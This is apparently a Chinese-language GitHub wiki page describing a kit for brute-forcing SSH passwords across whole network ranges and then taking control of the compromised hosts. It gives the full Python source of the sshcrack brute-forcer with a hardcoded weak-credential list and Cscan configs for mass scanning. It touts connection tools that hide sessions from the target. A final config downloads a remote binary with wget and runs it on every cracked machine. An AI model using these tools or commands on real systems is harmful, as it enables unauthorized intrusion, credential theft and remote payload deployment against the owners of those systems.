Skip to content

调用命令 批量SSH上控

k8gege edited this page Nov 3, 2019 · 2 revisions

Cscan调用外部程序命令例子 批量SSH上控

0x000 前言

sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测

当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1

0x001 目录

1.sshcrack用法

2.Cscan批量扫描

3.连接SSH执行命令

4.sshcrack源码

5.SSH批量上控

6.工具下载

0x002 用法

指定SSH服务器密码检测

弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK

单密码验证 (-test ) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test 192.168.1.106 22 root toor LoginOK

 

0x003 批量SSH服务器密码检测

0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录

Cscan.ini内容如下

1.爆破弱口令(当前无密码或已获取多个帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test

 3.Cscan扫描单个C段/B段/A段机器

cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8  (A段)

4.Cscan批量IP/批量C段/批量B段扫描

新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)

以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口

不指定端口意味着ip.txt里需要填写上对应SSH端口

0x004 连接SSH执行命令

1.sshshell交互式连接

sshshell.exe 192.168.1.106 22 root toor

sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)

2.sshcmd命令行非交互式

优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用

3.渗透专版SSH连接工具GUI版

优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用

当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录

 

0x005 sshcrack源码

建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。

以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。

#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging

ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)

0x006 Linux批量上控

通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)

ip.txt内容  格式: IP 端口 用户 帐密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

Cscan.ini内容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

0x007 工具下载

https://github.com/k8gege/sshshell

https://github.com/k8gege/K8tools

https://github.com/k8gege/K8CScan

 

Tip1: Python写的程序一定跨平台?

Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统

支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用

你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???

就算是只用原生包写的功能,也不能保证完全兼容

有些功能针对于不同系统需做不同的处理

 

Tip2: SSH连接工具详细说明

[原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH

https://www.cnblogs.com/k8gege/p/10991264.html

 

Clone this wiki locally